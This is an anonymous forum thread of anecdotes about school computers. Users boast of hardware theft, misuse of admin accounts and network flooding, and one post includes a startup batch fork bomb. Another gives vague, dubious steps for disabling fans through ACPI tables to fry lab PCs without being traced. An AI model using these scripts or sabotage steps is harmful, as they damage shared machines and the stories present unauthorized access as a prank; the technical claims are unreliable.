What were computers at your school like? Did you do anything to prove how much of a 1337 hax0r you were? Did you work for the school's tech department?
>>53591556
P3s... And I only copied the XP keys....
>:^)
In secondary school, I found out the admin password of my teacher's account (every staff member had an admin account for god knows what reason)
I was the cool kid who put dick pics in people's folders
>>53591643
nice
>>53591556
I stole the CPU's out of a few pc's in my schools computer lab while I was alone. Never got caught.
2nd grade we had Macintosh Performas, KidPix was the shit.
By about 4th we had newer Optiplex 170's, only really used for state testing, windows 98 was installed on all of them because thats the only thing the programs were compatible with. I remember using one for a powerpoint project involving eLocker and shit.
By 6th grade we still had optiplexs with windows 98, but the art class had 2 macs, a mac pro tower and a G5
In middle school most computer labs were still using optiplexes, but with windows XP, none were secure at all, the admin password was [insert school name here] and i remember setting up an ubuntu partition to use instead of XP because XP would fucking lag, the art classes in the middle school had a whole lab of the newer aluminium imacs along with some older g4's and g5's.
In highschool we had nothing but iMacs, all brand new ones, as one building was brand new. The older building on campus also used iMacs but dominantly used carts of Macbook Airs. My Architectural Drafting class however was the only one where we got to use a bunch of mac pro trashcans, which were fucking dank.
I never really 1337'd it up at all, i use to try and fuck with the ubuntu thing in middle school and in highschool i use to bring my own laptop running debian which freaked out the other kids once, but that was about it.
I also almost got arrested for updating my chroot on my chromebook, because i guess lines of text in a terminal are "hacking the school" now.
>>53591556
When I was in grade/elementary school, all the PCs were PII machines. I picked one up (along with parts from others) a couple of years back up when they cleaned out the school's storage rooms. Ended up making a decent retro machine just from those parts.
In high school every machine was a Dell with a P4. Somebody in the tech department put a copy of Halo out on the network storage and we would play that while in the computer lab, until somebody eventually got caught.
I worked for the tech department my senior year. I mostly just did minor networking stuff and watched the security cameras, our school was pretty small (my graduating class was 55 students).
I renamed win.com so that only I could start the computer.
>>53591556
>Did you work for the school's tech department?
What country is this a thing?
Never had that chance in the UK.
>>53591777
first off, trips
secondly, sometimes i feel bad about knowing so much computer stuff, i mean, when i was in kindergarten there was one computer in the school, and it still took 5.25" floppies, nobody gave a shit about computers, we just dicked around in class and went outside to climb on hot metal and splintery wood
in second grade that was the first time id ever used a computer, and it just kept going from there, i was the fastest typer in my class by 5th grade and never had to do keyboard testing, i knew all the ways around windows 98, 2000 and XP, and every computer i used the teachers would have to watch me because i would fuck with things and slack off
by highschool a computer had become such an integral part of my life that i no longer did fucking anything at all, i use to do dirt bmX racing, i could play the violin, i was a fantastic artist, and now im sitting inside with a laptop shitposting and checking my facebook as i have since 2011.
Fucking kill me /g/, sometimes i really wish the home computer never took off, and kids would be outside again.
>What were computers at your school like?
Shit. More specific: constipation. That's how fucking slow they were.
>>53591863
You can stop being a sad bitch though
your life sounds depressing
>>53591556
Give it back deshawn
I remember when Window was an a for DOS, in primary school our first IBM compatibles were 386 or 486 I think they were NEC.
>>53592005
I'm pretty sure the RAM that deshawn took is fucked after the 30 minute walk home and KFC.
The most 1337 thing I did at high school was use people as a proxy, told a couple guys an exploit to gain ez access to admin accounts etc - worked too. They cocked it up though, got caught watching porn.
I ran some python scripts to gain access to hidden areas, not like I could do anything.
Either way to this day I still have a head teachers login which still works.
The password was "password"
>>53591556
>What were computers at your school like
Macintosh in grade 1-3
Those rainbow iMac G3 in grade 4-6
Generic Windows XP Pentium IV machines in grade 7-12
Core Duo Vista/7 Dells in college
the fucking teachers think that adding more ram than the 2gb limit can handle will make the computers faster.
@echo off
:lol
start "" %0
md %random%
goto lol
>run at startup
Devilish.jpg
in highschool i replaced a q6600 with an e6300 and put it in my server
>>53591556
sitting in graph comm room with loads of PC's for doing autocad, during lunch
go around and change the colour balance on all the monitors to 100 red 100 blue 0 green - all the monitors were basically all shades of purple
'did you hear someone hacked the graph comm computers? they had to get a technician down to fix it and class was cancelled'
mfw
I remember the cursor being an orange block you could move around
>>53591765
fuck you
>>53592760
Wish I had been more tech literate in high school. Probably could have ganked some nice hardware. Did snag myself a silver ti 89, though.
My school Wifi password in HS was literally 123
We got away with so much until they changed it over a long weekend
I am the director of technology at a large private boarding school.
Ask your questions.
>>53591556
back in the day when our school was still using windows NT 4.0, I found the net send messenger command and showed it off to everyone in CAD class. now THAT was a fun week
I was that kid playing tetris and shit on his calculator in class not even just in math lol
>>53591556
Yes, I did.
I can do an IT story right now in my VoTech school class.
>day 1.
>Arrive, teacher wants us to practice disassembling computers.
>Mine doesn't boot up.
>Begin disassembling, and in thirty minutes, have it all laid out.
>Replace corroded ram with a fresh DDR2 Stick.
>In about thirty more minutes the PC was fully reassembled and it was wired up right, because someone misplaced the pw_sw cord on the hddled cord.
>PC Starts up flawlessly, posts with AmericanMegatrends screen.
>Windows XP is starting.
>Please wait.
>"Wow, Anon! I didn't know you were that good in computers!"
>Can keep going since I'm practically fresh outta high school.
>>53592760
How do you get alone in class
In my school there is always some1 when there isnt its locked
>>53593997
From 6 to 7 how many figures are your peers making more than you?
anyone else had this problem in school where you knew things about computers, therefore everyone, especially teachers, thought you were infallible in maths?
>>53593997
how many underage rich girls have you impregnated?
>>53594089
I make about 15k less per year than someone in private industry. My salary is $86k currently.
>>53594068
After round children, the storyteller is here
>>53594141
None, there are a lot of whores at the school, though. I've been asked to "block Snapchat" as the students trade nudes with one another like a currency.
They simply use cell service.
I have been given "old" laptops by rich snobby females:
Ativ Book9
Macbook Air (2012)
Macbook Pro 13 (2011)
Macbook Pro 15 (2012, fully loaded)
The last one a girl at thrown in the trash at the end of the year. She didn't want to bring it back to her house, so she just threw it in the trash outside.
>>53594068
Fuck, I meant On my class.
>>53594143
I only make 63K doing general repair at a local shop.
Ahem...
>Day 2.
>Peer has problem with laptop. It's Windows 8.
>Find virus, decide to tell him to restore.
>Back up his steam games. and photos.
>So much fucking animu.
>Makes me cringe hard.
>Restore it so he can set it up. He sets it up fine.
>Day later he blames me because his PC didn't want to start up and Windows isn't showing up on the disk.
>Says I didn't do it right.
>mfw.
>Send his hentai collection to teacher.
>It displays on the screen as he opens it out of curiousity.
>Class is shocked.
>Laugh when heading back to the public school.
>>53593983
I have both my colleges wifi passwords and their alternate login also. :^)
>>53594195
I also get May 15 through August 23 off, so I usually do consulting during that time. Makes it worthwhile.
I used to run a command to delete system32
it would make everything and all the Windows laggy, it wouldn't BSOD but once you shut down it wouldn't start up again. Like compiz effects on Linux, but it would lag and jitter and skip.
>>53594185
>I have been given "old" laptops by rich snobby females:
Must be nice
>>53594195
>Day 3
>One of the laptops was locked out because the teacher taught us about administration.
>Well shit, someone got in and deleted admin and made their own account while forgetting their own password.
>Almost every kid did this and ended up with Admin tied in to their account which had no passwords.
>Would let us create original admin account.
>Spend class reinstalling Win8.1 on the machines and eventually finishing.
>mfw I never even touched my admin account and set a safe around it so I can keep myself admin with the standard admin inside the PC left intact.
>Sit down.
>Play TF2.
>War Update's out, might as well enjoy the new weapon.
>Buy the Donkalicious.
>Everyone's setting up their PCs again while I'm kicking back with a tide turner and pan.
>>53591863
do you also dream in code?
>>53594270
more bls :^)
>>53591765
I'm not much one for talkin' shit via a series of tubes, so this isn't really directed at you (in a manner):
I would fucking curb stomp the nigger that admitted to this in front of me.
>>53594270
>Day 4-5-and6.
>Get permission to go into server room.
>Windows 8 Bricked my HDD.
>Standard 5400 RPM drive on an old Toshiba.
>Spend the three days out of class, getting linux to hold myself over until I can have the school's license for OEM licenses for a copy of Windows.
>Use Mint after two days.
>Sitting in cool, chilled out server room.
>Find old HDD based iPod as well.
>Mine now.
>Find a desktop tower with a Haswell processor.
>Intel i5 4600K
>7200 RPM Drive.
>500 GBs.
>Old one was 320 at 5400.
>Bingo.
>Spend my day ghosting drve and using an old desktop. 2.5 was being good for once.
>Reassemble and walk in like a boss.
>tfw I'm still using to this day.
Say, you folks mind if I take a quick shit?
>>53594371
>Like a boss
Take your greentext stories back to /b/
>>53591863
>i use to do dirt bmX racing, i could play the violin, i was a fantastic artist
>>>/r/iamverysmart
>>53594371
take your time boo
>>53594413
>back to /b/
Nah, they don't like me anymore. I shitposted too much Gentoo.
But anyways,
>>53594371
>Day 7.
>Make it into class. See the old server inside.
>It's running old Xeons. Has a load of 10 SSDs and a master drive.
>It was a WD Black Velociraptor.
>Thing spun at 10,000 RPM.
>Holyfuckingshit.png
>Take it out with permission
>Install a barebone Ubuntu cloud server just so the server ITs would have a place to keep their junk.
>Set it up with numerous 1TB WD Blues.
> Around 8 of them.
>Skipping ahead once, I never heard the IT techs complain until I accidentally encrypted one of the drives.
>Decrpyt it and hear an earful.
>Next day his folder was removed from the Raid5 Segments.
> Fuckyeah, back to day 8.
I remember having a 128 mb usb-stick from my parrents, and then I had my "first computer class" in basic school
I was used to use windows xp and usb-sticks, and there we had to work with windows 2000 and the revolutionairy floppy's.
It was mandatory, and we all had to do it.
In my age I have already taken apart computers, fixed some, and installed windows xp many times already.
It was frustrating to see I was peforming the worst, and the biggest technology retards were the best in doing these classes.
Also, in middle school there were alot of times the teacher wanted to sendt me off to the principle because I used firefox and saw me open cmd on accident (thought I would fuck up the school systems or something).
They told all of us that you couldn't use any usb sticks in the computer, but I found a way to use usb sticks on the computer anyway, played some gta sa and swat 4 in electrical engineering school
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>>53594600
>Day 8.
>Walk in class.
>Someone's got autism horses set as a background.
>ohmygodyes.
>Avoid his desktop across the class.
>End up bumping into him during break, pretty nice dude.
>Recommended me watch the show. I did. Not going on about that.
>Dude buys me a copy of GMod. Shows me all the basics.
>I eventually get a mod and make it as realistic for him.
>Feels good man.
>I help him create a PC build as well.
>Just remade it because he lost the list.
>I still talk to him to this day. And we both give eachother pointers on our day with IT and PC Repair.
>>53591556
Our school gave us IBM Thinkpads that they later threw when they got to old. Only thing I did to show I was 1337 hax0r was to obtain administrator on it--
>>53592013
>NEC
Nice.
We had some Fujitsu shit, if I recall.
>itt: some fag that was in school when 8.1 was out
Man, this thread sucks. Former IT helper kid here.
>3 years ago
>senior in HS
>around sophomore year I started poking around the network
>school district is completely connected(could play Halo with kids at other schools, employees on the same network)
>find some bus depot network share or something
>get to some backups folders
>backups of employee folders
>a couple people keep their bank and credit card statements in their documents
>card number and information just there
>jesusfuckingchrist.jpg
>don't touch because I value my anus
>continue poking
>find some student demographic folder
>.txt file containing literally every school district student's address and ID
>what is network security?
>nope out of there
>eventually work with school's IT and reveal security flaws
Seriously. Where's the security? I don't want some fag stealing my address and ID.
>>53594673
>Day 9 through something.
>Person walks in with a 2 grand gaming laptop.
>Their goods are scratched and scathed. They practically abused the laptop to hell.
>cringingman.jpg.
>amillionorsons.png
>He asks me to fix it up for him.
>Get a new shell for it, transplant everything in
>The Lenovo Y-50 was a beast.
>Transplanted it all.
>Cheekily remove his hard drive in turn for a new one.
>he gets it and bios doesn't give him shit.
>Tell him he probably cracked something.
>He angrily tosses it on the ground.
>Grab it after he leaves, and get a new screen since he cracked it.
>A week later he asks me which one he should buy.
>He sees me with his laptop.
>"What'd you do to my laptop Anon?!"
"Fixed it up. You didn't want it so I got it repaired."
>"How?!"
"Bought a new screen and drive for it."
>"I hate you! I'm suing!"
>mfw he never did and I sold it off for half price to someone who lost their gaming PC.
>tee-fucking-hee.
>>53594143
How many years experience?
>>53591556
All optiplexes which they upgraded every 2 years. The only 1337 thing I did was use one of the local admin accounts a few times. They had like three on each computer, all without passwords for some reason. I probably should've told the teacher about them but she was cool so I didn't get in trouble when someone eventually snitched on me for "hacking the school".
>>53594779
I'm 26, been here a year and a half. Previous job I was at 4.5 years. I had a job at a web firm in high school.
I don't have a degree.
>>53594814
Considering no degree, that isn't half bad actually. With your years experience, however, with a degree you'd be easily in the 120k range.
>>53594756
Trust me, it's stupid, bit I did learn my good stuff.
Speaking of which, let's fast forward.
>>53594766
>Halfway through the year.
>Get back on christmas break.
>Friend bought me a video card. AMD Radeon R9 360.
>Oh-ho-hooo.png.
>Used old linux Mint distro to test it.
>Set up a new hard drive and move it to a flash drive.
>reinstall it with Kali.
>Use hash checker and some more tools to tell open ports and passwords after using a bruteforce tool in Kali.
>Get access to the server.
>Power the server off and make a new account with a random password.
>Skip ahead a week, school's pissed about no internet. Bring my bad boy in, and crack it successfully.
>Everyone's asking how I did it.
>Took me an hour, and we had full server access again.
>Windows server 2012 was restored to it's previous state.
>everyone's impressed.
>Someone asked me if I'm a hacker.
>Said no.
>But in realiy I just fucked with everything.
>>53591842
America, school administration basically always includes a burnt-out, jaded IT guy responsible for cleaning the snot out of keyboards
>>53594844
Somebody sc these
>>53594840
Yes, I agree. I'm currently looking into going back to school. I would like to do an online degree program as I can complete that during my workday. I have a significant amount of downtime currently as everything is running well, and we are going into the summer season.
>>53594635
Cont.
The IT department in middle school always sucked, never fixed any problems that arised.
The airheads in the "library" had a tv screen that could look at any schreen of the students to see if we were misbehaving
(Damn, fucking r.a.t.s and spying on students I realise now)
Then I was moved to a lower niveau of school because I constandly would get F's in french class and a D's in german class, didn't matter that I wouldn't get good grades in all 9 other classes and that I could drop those 2 classes in the end of the year ( ;_; fuck you all)
To engineering school, MBO
After that I went to Grafisch Lyceum Rotterdam
(Graphics, design college)
Most of the computers there were Imacs, always on the verge of overheating, most of the Imacs actually contained windows 7, no idea why, I think licencing issues.
They always had a super short cable between the mouse and keyboard, they locked it with a cheap lock, I used to picklock it and put it back after I was done using the Imac.
I wanted to do animation, but they never let me do that, they said that I would get to do that in the 3rd year, maybe.
So I left it, thought I was done because I was 18, then the government changed the law that you have to be 21 before they leave you alone, to ehm.. Motivate you.
So I went to an IT school, where I am now.
Dear god there are a lot of neckbeards, odd folks. And they all think they are l33t h4x0r5, thinking a hdd is a cpu, using shitloads of cooling pasta
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>>53594844
>Few days afterwards.
>Scammer calls for help.
>Ask to talk to them.
>Ask them to hold on while I grab a few programs off of the internet.
>Get wireshark and etc.
>Let them get access and look at my teacher.
>Horrifiedlooks.gif
>Trace back their IP.
>They say their in california.
>Tell them where they are.
>They try to access us.
>Use server and all the PCs to flood them with a massive ping downpour, while asking students to download LOiC on their clients. Five minutes later.
>20 Desktops running i5s now pinging their home server.
>They say they lost connection to me.
>Unplug Cat5 cable.
>Laugh.
>They ask me what I did.
"You done goofed."
>They hang up.
>Do impression of a raging indian man.
>Tell him to put a dot on his forehead and expect me to become Vishnu and destroy his world.
>Good day.jpg.
>>53591777
holy shit are you 18?
fuck off young buck.
>>53594879
Damn, over here in my experience you can either have a little IT team of chilled dudes or a contracted bunch of guys, maintain the network; work through an outside company even though they're on site.
Our schools' computers security was a fucking joke
>open taskmanager
>close security application in the background
>teacher can't see your PC activities anymore
Only some teachers even noticed and to those who did you simply said "whoops, it was like this when I logged in, better restart Windows :^)"
>>53594931
>Next year in my final year, study with printers.
>Pass CompTIA with a 95%.
>Move on to IT and work at a local shop.
>I'm still there after two years from high school.
>No more h@x0ring to me.
>Now I'm your subtle computer repairman.
>And now I sit here posting on 4chan after 2 years.
>And I'm still a massive cockgargling faggot.
>But it was all worth it if it got me to a job I love.
>>53594931
On the topic of such, what do you recommend to learn wireshark?
I've been meaning to decipher some .pcap files
>>53594931
Jesus christ, stop posting. Nobody thinks these stories are real or cool. You have to be 18+ to post here anyways. Just leave.
>>53594946
Also our teachers were so retarded when it came to technology that instead of navigating us to a specific website by writing
>open Google
>search for "topic"
>click the first link
their solution was to write the complete URL on the blackboard like
>www.website.com/WithARidiculouslyLongUrlThatNobodyCanTypeCorrectlyWithoutAtleastTrying8267324623TimesLol
>>53595014
Oh please, I'm over 18. If you really want to get asshurt someone who's 'normal' is sharing experiences on a board you shitpost on everyday, please just go gargle some more cocks. I love hearing you asshurt neckbeards cry.
Now please, keep raging. I need more salt in my diet. And your tears are doing just fine.
>>53595018
This desu
>>53593906
>>53594288
what's this moralfaggotry
>>53594909
I swear I am not enjoying these last years, the first year was a pain in the ass as it was so basic and common sense
All of these neckbeard fedora cringy beta people that only wash once a week.
And they force me to learn code, while I am absolutely not interested in coding, but they forced me to do lua anyway
So I basically came less and less, I wanted to drop out, then they offered me to do a lower niveau mbo in 1 year, I accepted to get rid of the need to go to school as fast as possible.
Finally I could do things with hardware and servers, something I'm interested in, but quickly they made me do networking.
A few months In and I was just done, said I wanted to drop out but it's not possible because muh government said so.
I'm stuck, forced to do these things or face a fine.
Can't focus on servers or webshops I'm trying to set up.
I.. Just... Sigh.. My post quickly derailed..
I'm done posting.
>>53591556
i remember one time when me and a friend managed to get access to a command line thing on one of the admins computers, so we sent a command to all the computers making them all flood the network with data. after that the internet was down for a week and most of our work we didnt have to do.
>>53594288
me and a bawls chuggin friend put a line in the registry that would turn the heat sink fans off at startup starting at a later date. in the computer labs. 5 labs in our grade level, each with a couple dozen computers, over the course of the year. this was grade 11 i believe.
there were mobile carts full of like 30 apple laptops that classrooms would sign out, and i switched my laptop with another girls when we left the room for study hall, and then when we got back, put hers (or mine that i had switched into her backpack. this was the last class of the day. i intended to get it when we were on the bus but didn't have a chance. don't know what happened.
and in 12th i put open staples inside the keyhole of every door before class, and when the teachers stuck the key in, it bent the staple to the pins, and every had to sit in the cafeteria for most of the day while doors were taken off the hinges. i got expelled and had to pay for all the knobs.
i now work tech support.
>>53595232
>line in the registry that would turn the heat sink fans off at startup
Wait, it's possible to control the fans via the registry? How'd you manage that?
>>53594766
Fucking stop this is /g/ no one gives a shit about you're made up story you autist
>>>/b/
>>>/r/eddit
>>53595411
HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT
run extractdsdt.exe in terminal.
look in the file it makes for 0x06, i think, and there's a table of hex values, set all to 0.
use that file to update the aml - use the task scheduler to set that to happen in the future to prevent anyone knowing it was you that fried the computer.
ta da
>>53591556
In my middle school, each student was given a laptop to use throughout 6-8th grade. You could take it home, use it in class, etc. This amounted to everyone playing games all the fucking time and not doing work.
I remember teaching people how to save text files as batch files, which would give you access to the command line which was blocked. Then you could use something like netuser or whatever it was called to shut down anyone logged into the school network. What a beautiful time
>>53591643
>Okay kids today were going to learn about Cells!!
>Open Cells.PNG
>Principals dick is shown on projector
>>53595039
No nigger you're the only neckbeard here.
NO ONE LIKES YOU, LEABE.
>>53595589
Also I remember our IT "department" was a single middle aged woman who seemed to know nothing useful about computers.
Virus on your laptop from games? Reinstall windows
Slow internet? Reinstall Windows
Can't log in? Reinstall Windows.
>>53591556
i was administrating our school computers because the cs teacher knew jack shit about GNU/Linux sys administration, got paid + note in my diploma
>>53595589
Good ol' command.com, right
